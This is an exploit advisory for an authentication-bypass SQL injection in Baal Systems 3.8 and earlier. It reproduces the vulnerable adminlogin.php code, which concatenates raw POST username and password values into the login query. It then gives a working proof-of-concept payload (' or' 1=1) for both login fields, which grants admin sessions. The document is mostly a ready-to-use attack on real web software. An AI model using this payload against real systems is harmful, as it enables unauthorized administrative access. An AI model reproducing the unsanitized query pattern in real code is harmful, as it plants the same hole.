Baal Systems 3.8 - Authentication Bypass

[+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>

[+] Vuln Code :

[adminlogin.php]

<?php
include("common.php");
if (!empty($_POST['password'])) {
	$username = $_POST['username'];
    $password = $_POST['password'];

    $query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";
    $result1 = db_query($query);
    $rows = db_num_rows($result1);
    $row = db_fetch_array($result1);
    if ($rows != 0) {
        if (session_is_registered("whossession")) {
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        } else {
            session_register("whossession");
            $_SESSION['who'] = "admin";
            $_SESSION['userrole'] = "admin";
            $_SESSION['username'] = $username;
            $_SESSION['usernum'] = $row["userid"];
            header("location:admin.php");
        }
    } else {
        header("location:adminlogin.php?error=yes");
    }
} else {

    ?>

[+] PoC :

[BaalSystems_path]/adminlogin.php


username: ' or' 1=1
Password: ' or' 1=1